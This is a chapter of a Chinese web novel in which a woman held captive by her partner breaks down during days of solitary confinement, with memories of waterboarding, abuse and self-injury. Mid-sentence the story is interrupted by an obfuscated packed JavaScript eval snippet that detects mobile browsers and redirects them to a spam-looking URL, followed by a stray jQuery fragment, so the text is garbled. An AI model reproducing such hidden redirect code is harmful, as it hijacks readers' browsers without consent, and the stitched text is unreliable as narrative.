默认冷灰
24号文字
方正启体

52. 她的崩溃

作者:萧瑁本书字数:K更新时间:
    叶明来的客房中,时间过分缓慢地流逝。


    烦躁感涌上虞姿的心头。


    没有网络,没有手机,没有电脑,任何现代人都受不了这种生活。


    深夜两点钟,虞姿躺在床垫上尝试入睡,让自己的生物钟与现在的时间同步。


    可无论如何就是睡不着。


    房间中的寂静,宛如一头蹲伏在草丛中的猛兽。


    每次她闭上眼睛,等待睡意袭来,袭来的却总是这头猛兽。


    她那愚蠢的大脑,不知怎么的,非要觉得,一旦她睡着,这头猛兽就会扑上来,一口咬住她的脖子,令她窒息而死。


    窒息感挥之不去。


    好像那个勒住喉咙的项圈从来没有被解开似的。


    这算是溺水后遗症吗?


    虞姿焦躁地从床上爬起来,开始在房间里转圈。


    驴拉磨那样、在太小的房间里转了一圈又一圈,把自己都转昏头了。


    好不容易回忆起了一套瑜伽动作,她耐着性子做了一遍,感觉身体放松了一些,再次尝试睡觉。


    依旧睡不着。


    她只能再爬起来,在这个三米乘四米的房间里走来走去。


    很快,这小小的房间,地面上的每一平方厘米都被她踩过了。


    墙面上所有她能触及的地方,也被她轻轻地抚摸了一遍。


    短短几个小时而已,虞姿就表现得像一只被关出了刻板行为的动物。


    期间,她不止一次地想到叶明来。


    他真的会那么狠心,一直等到三天后才来看她吗?说不定,明天一早,他就会打开门走进来,检查她的情况。


    他真的有这么好心,特意给她拿来一个时钟,让她看时间吗?说不定这个时钟是被调慢了的,它显示的根本不是正确的时间,所以她才觉得时间过得这么慢。


    他为什么一开始要为她准备西柚味的能量奶昔,现在又换成复合莓果味的?是她哪句话说错了、惹他不开心了吗?她已经竭尽全力的应对了,他不想听分手这两个字,不是她的错啊!


    或者是她的错?她是不是不该提起这个,不该和他吵架?她是不是该早点把‘复合’说出口?她是不是该对他多说几句‘想你想你、爱你爱你’,那会有用吗?她好像对他说过了,还是没说过?她想不起来。


    她在这里不停地想起他,他在外面,也会想她吗?他会在手机上查看这个房间的视频监控吗?房间里的摄像头会藏在哪里呢?如果她对着摄像头尖叫、求饶,他能听到吗?如果她用力把自己的头撞在墙上,撞得头破血流,他会在乎吗,他会允许她去看医生吗,还是他会更高兴她主动死掉了?


    当虞姿明知道打不开房门,却还是忍不住一次又一次地去转动那纹丝不动的门把手时...


    这个时候,她就知道,她有资格回答那个问题了。


    禁闭与水刑,到底哪个更恐怖?


    世界上能够根据真实经历回答这个问题的人,少之又少。


    虞姿很不幸地成为了其中一个。


    她的答案是,禁闭更恐怖。


    水刑每次最多三分钟而已。


    禁闭却是无穷无尽的。


    ...如果她的琴在这里就好了,时间一定不会这么难熬...


    这个念头,比叶明来更多次地出现在她的脑海中。


    过去的五个月里,虞姿每天的练琴时间都在十个小时左右。


    即使是到了萨普后,她也会趁白天,民宿里其他住客都出去游玩时,在自己的房间里稍作练习。


    如今猛然离开小提琴,像被强迫戒掉某种瘾,给本就糟糕的局面雪上加霜。


    独处的第六个小时,虞姿忍不住开始神经质地活动手指与手臂。


    她甚至想像小时候那样,演奏空气小提琴来消磨时间。


    可是,那会让她看起来像个疯子。


    同时,她对小提琴的投入与专注,将会一目了然。


    这会给她增添一种新的可疑。


    万一叶明来调查出她还有一个名字叫虞爱宝,那就太可悲了。


    虞姿强行忍耐了片刻。


    然而,暴露身份的恐惧,很快败给了极度的孤独与空虚。


    她再也受不了这片死寂了。


    她已经看完了房间里所有物品的配料表,她从一默数到一千、再倒数回来,她做了三遍瑜伽,她毫无意义地在屋里转圈,把椅子拖到这里、又拖到那里...


    空气小提琴,似乎是目前最能让她维持理智的一个项目了。


    不过,虞姿还是不想被看到演奏空气小提琴的样子。


    她想了一个办法。


    将床垫拖到墙角,立起来靠在墙上,如此,就在房间中给自己搭出了一个三角形的庇护所。


    躲在这里面,可能就不会被看到了。


    希望这个墙角没有监控摄像头。


    如果她不幸选中了有摄像头的那个角落,那就算她倒霉吧...


    虞姿爬进床垫与墙壁之间的三角形空间,在那里端正坐好。


    面对两面墙的夹角,她将左手自然地抬到合适的高度,摆出握琴的姿势;她的右手同样抬起来,假装手里有一把琴弓。


    随后,她闭上眼睛,微微偏头。


    当她按动想象中的琴弦,无声的音乐就被奏响了。


    最近,她最新练习的一首乐曲,是比贝尔的《玫瑰经奏鸣曲》。


    从玫瑰经这个名字就看得出,整部奏鸣曲的宗教色彩十分浓厚。


    它是巴洛克时期典型的教堂奏鸣曲,共包含十六首乐曲。


    其中的第十六首,g小调帕萨卡利亚舞曲,简称帕萨卡利亚,是最早的小提琴独奏曲目之一。


    它的旋律美丽、伤感,有很强的歌唱性,虽然是巴洛克时期的作品,却与刻板印象的巴洛克音乐不同,它有一种野性的、神秘的、近乎超自然的美感。


    虞姿此刻假装练习的,正是这一首。


    和其他小提琴独奏曲目相比,它相当冷门。


    她以前都没有听说过它。


    是在沙国,她和塔克姆皇家乐团一起排练时,排练的间歇,她意外听到乐团的第二小提琴手随意地演奏了它的开头,她才第一次知道世界上还有这首乐曲。


    她立刻被打动了。


    由于她不被允许和除了乐团指挥以外的人交谈,就算能交谈、双方也是语言不通,她没能当场询问对方这首乐曲的名字。


    回到房间后,用旋律识曲功能,她慢慢地找到了这首帕斯卡利亚。


    初次完整地听完这首乐曲,在震撼的同时,虞姿又感受到太多遗憾。


    假如她上了音乐学院,接受了系统的教育,她或许早就在学习音乐史时,了解到了这一首乐曲。


    假如她有机会,她早就可以欣赏它,而不用等到现在。


    假如她有机会...


    不知道她以后还会不会有机会...


    随着空气小提琴的演奏,虞姿脑海中播放的乐曲,淹没了这些杂乱的思绪。


    即便得不到任何手感上和听觉上的反馈,她也可以沉浸在想象中的练习里。


    练习可以避免她意识到此刻糟糕的情况,可以掩盖掉那些她不想回想的记忆。


    只要她坚持练习,时间就不那么难熬。


    她有能力忍受三天的孤独,她一定可以做到...


    她一定可以做到吗?


    虞姿的手臂开始发抖。


    只不过是孤独与空虚,为什么这么难熬?


    渐渐地,连脑中播放的乐曲也无法起到镇定的作用。


    虞姿不得不开始自我欺骗。


    她一遍又一遍地告诉自己,她不在这里。


    她不在这里。


    她不在这个冰冷的房间里。


    她在世界上最温暖、最安全的地方。


    她在小时候住过的某一家汽车旅馆里,妈妈去上班了,她正在房间里自娱自乐。


    那把【伊莎贝拉二世】就在身边,但她的个子还不够高,她还不能用它,她只能想象她有一把琴,想象她在演奏这把空气小提琴。


    想象中,时间很快就会过去,妈妈会带着晚餐回家。


    妈妈总选择去超市或者便利店之类提供食物的地方打工,这样,作为内部员工,妈妈就有机会提前预留一些即将到期的食品,再用便宜的价格,买下这些好吃的临期食物,喂饱她们两个人。


    当天到期的小蛋糕也是小蛋糕。


    虞姿一点吃不出差别。


    她只知道,她是隔几天就有蛋糕吃的幸福小孩。


    所以现在虞姿不在这里。


    她不在这个牢房里。


    她在汽车旅馆里,她在家里,她在等妈妈回家,妈妈马上就会回家了...


    寂静中,虞姿的手臂抖得越来越严重,最终,她的双手无力地垂落在地上。


    那把想象出来的小提琴,随之消散在空气中。


    ...妈妈不会回来了。


    她不在家里,她就被关在这个死寂的牢房里。


    她无事可做,马上要被脑中杂乱的思绪逼疯了。


    现在才几点呢?


    探头看一眼。


    时钟显示,6月9日,早上八点十分。


    天啊,时间过得太慢了。


    虞姿将头抵在墙角,情绪崩溃地哭了起来。


    从这一刻起,每过两三个小时,她都会无法自控地痛哭一次。


    周围没有任何东西可以分散注意力,所有被她推到脑后的记忆都蜂拥而来。


    她想起妈妈,她想起泽森,她想起宋瑾,她想起拉肯,她想起一切她伤害过的人、伤害过她的人。


    所有不快乐的时光都在此重演。


    分不清伤口是从未愈合过,还是再次裂开了,她觉得哪里都痛,身体上,精神上...


    唯一让她坚持下去的,就是三天后,叶明来会来。


    到时,就解脱了。


    她就不会一个人在这里了。


    他会和她说话,她会好好和他解释清楚,一切问题都会解决,一切都会好起来...


    ...


    无尽的期盼中,三天慢吞吞地过去了。


    6月11日终于到了。


    从凌晨零点钟起,虞姿就死死地盯着正前方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165830|196711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那扇深黑色的房门。


    叶明来什么时候会打开门、走进来?


    早上、还是下午?


    她要怎么和他打招呼?他会想听她说什么?


    她可以直接跳上去给他一个拥抱,死缠烂打地挂在他身上吗?


    还是她应该可怜地哭给他看、等待他主动把她搂进怀里?


    她无法作出决定。


    到了早上六点钟,关于怎么面对叶明来,虞姿已经在脑中编了二十多个不同版本的剧本。


    这些剧本,一个也没用上。


    门仍紧紧地关着。


    而中午的十二点钟已经到来了。


    这时,虞姿觉得,叶明来肯定因为是早上要开会,才拖到了现在。


    等他吃完午饭,他一定就来找她了,他是不需要午休的,她知道,所以一点钟左右,他一定会来。


    可是,一点钟过去了,两点钟也过去了,什么也没有发生。


    下午五点时,虞姿绝望地跪坐在门口,用最恭敬的、最小妻子般的姿势迎接他的到来。


    从监控里看到她这个姿势,他一定会心动的吧?他一定会尽快来看她的吧?他答应过的,三天后来看她,他答应过的!


    怎么还不来呢?


    一直跪坐到深夜十一点钟,虞姿的双腿早已失去知觉。


    可她心里仍抱有希望。


    最后一个小时了,叶明来随时都有可能出现。


    她恶狠狠地想,他绝对是故意拖延到最后一刻,好让她体会到尽量多的折磨。


    他就是这种小心眼又记仇的人,绝对是这样!


    那也无所谓,只要他来就好。


    十二点之前,他一定会来,对吧?


    他说过,在6月8日他说过,三天后他再来看她,他从来说话算话,他一定会来,今天是6月11日,他一定会来!


    虞姿把耳朵贴在门上,期望能听到他的脚步声。


    然而,什么也没有。


    十二点零一分。


    时钟上的日期,跳到了6月12日。


    这是她被关在这里的第四天了。


    房门仍未被打开。


    叶明来没有来。


    为什么、为什么啊?!


    虞姿把头抵在门上,两手握成拳头,不断地砸向沉重的金属大门。


    除了闷闷的敲击声,没有任何回应。


    她浑身颤抖,不明白这是怎么回事。


    难道他出了意外?


    他是不是死了、或者是昏迷了?


    是沙国王室的人对他展开了报复吗,还是其他恨他的人,暗杀了他?


    或者说,他打高尔夫的时候被飞来的球击中了太阳穴,海钓时他突然遇到了暴风雨,日料师傅没处理好河豚把他毒死了...


    世界上有那么多意外!


    无数种可能发生的情况,疯狂在虞姿脑子里打转,快要把她的大脑搅烂了。


    而其中最可怕的一种情况就是...


    如果他真的出了意外,那,是不是就没有人知道她被关在这里了?


    接下来,她会被活活饿死吗?


    天啊,别这样、别这样、别这样...


    虞姿抱头痛哭。


    哭到一半,她又站起来,歇斯底里地对着房门、对着房间里每个角落尖叫。


    她对每个可能藏着监控摄像头的地方大喊大叫,质问叶明来为什么没有来,她尽可能地叫得无比大声、无比刺耳,她希望他在另一边能听到,她希望他会被吵得受不了、不得不亲自过来叫她闭嘴。


    嗓子都失声了,也没有任何效果。


    虞姿崩溃到了极点。


    他没来、他不来、为什么不来?为什么?!


    她还要继续被关在这里吗?——还要多久!


    她恨不得砸掉周围的一切。


    环顾四周,她把那些装在塑料袋里的酒瓶拿出来,狠狠地砸在墙上、摔得粉碎;她举起屋子里那把灰色的折叠椅,拼命地用它一下下地砸门,直到反震的力道让她小臂上都出现了淤青。


    看到淤青,虞姿又慌张地丢下折叠椅。


    她疯狂地揉搓自己的小臂,想要让那块淤青尽快散去。


    她不应该再增加身体上的痕迹的。


    说不定,就是因为她身体上的痕迹还没彻底消失,叶明来才没有来。


    总得等到毫无痕迹了,他才会来。


    ——一定是这样、一定是这样!


    虞姿站在淋浴喷头下,神经兮兮地检视自己的每一寸皮肤,想要找到那个害得叶明来没来看她的罪魁祸首。


    可是,在检视的过程中,她感觉到,她的脚底越来越痛。


    由于她把酒瓶全砸碎了,玻璃碎片飞得到处都是,她赤着脚在房间里走来走去时,不知踩到了多少细小的碎片...


    她身上的痕迹不仅没有全数消失,脚底反而多出了新的伤口!


    叶明来更不会来了!


    ...不,他一定会来的,他不可能就这样把她丢在这里、不可能...


    虞姿坐在水泥地面上,抱着膝盖,前后摇晃着身体,拼命安慰自己。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)